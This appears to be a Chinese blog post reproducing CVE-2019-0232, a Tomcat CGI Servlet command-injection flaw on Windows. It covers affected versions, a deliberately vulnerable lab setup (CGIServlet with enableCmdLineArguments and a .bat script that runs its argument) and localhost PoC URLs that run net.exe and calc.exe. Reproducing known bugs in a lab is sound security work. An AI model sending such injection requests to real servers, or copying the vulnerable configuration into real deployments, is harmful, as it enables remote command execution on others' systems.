CVE-2019-0232漏洞复现

记录一个cve-2019-0232的漏洞环境搭建的任务

1、相关信息

2019年4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

触发该漏洞需要同时满足以下条件:
1. 系统为Windows
2. 启用了CGI Servlet(默认为关闭)
3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93

2、漏洞复现

我的复现环境:

windows server 2008 R2

apache Tomcat 8.5.23

jdk 1.8

jdk可以去官网下载,tomcat下载地址:https://archive.apache.org/dist/tomcat/ (最好下载bin目录里的文件)


然后就是配置java环境变量,参考https://www.runoob.com/java/java-environment-setup.html

解压配置tomcat,运行startup.bat,如果这里不能正确弹出命令行窗口显示服务器已运行,可能是java环境变量配置有问题,也可以在startup.bat最后加一个pause让命令行在最后不关闭,看一下是否有报错信息

CVE-2019-0232漏洞复现_第1张图片


配置好之后,需要修改一些tomcat的配置:

1)conf/web.xml 中启用CGIServlet和启用cgi的servlet-mapping
注意这里可能有些版本里的cgiPathPrefix的值是WEB-INF/cgi,需要改一下为我们后面创建的WEB-INF/cgi-bin


    cgi
    org.apache.catalina.servlets.CGIServlet
    
      cgiPathPrefix
      WEB-INF/cgi-bin
    
    
      enableCmdLineArguments
      true
    
    
      executable
      
    
    5


#将下面的语句的注释去掉

    cgi
    /cgi-bin/*

2)之后修改 conf/context.xml 的 添加 privileged="true"属性

3)然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个内容为 echo Content-type: text/html 的 .bat 文件。

例:hello.bat
@echo off
echo Content-Type: text/plain
echo.
set foo=%~1
%foo%

3、漏洞利用

Poc如下:

http://localhost:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\net.exe+user

http://localhost:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\calc.exe
CVE-2019-0232漏洞复现_第2张图片

CVE-2019-0232漏洞复现_第3张图片

(这里显示联通测速页面只是设计的一个例子)

4、漏洞原理具体分析

参考:https://xz.aliyun.com/t/4875

你可能感兴趣的:(CVE-2019-0232漏洞复现)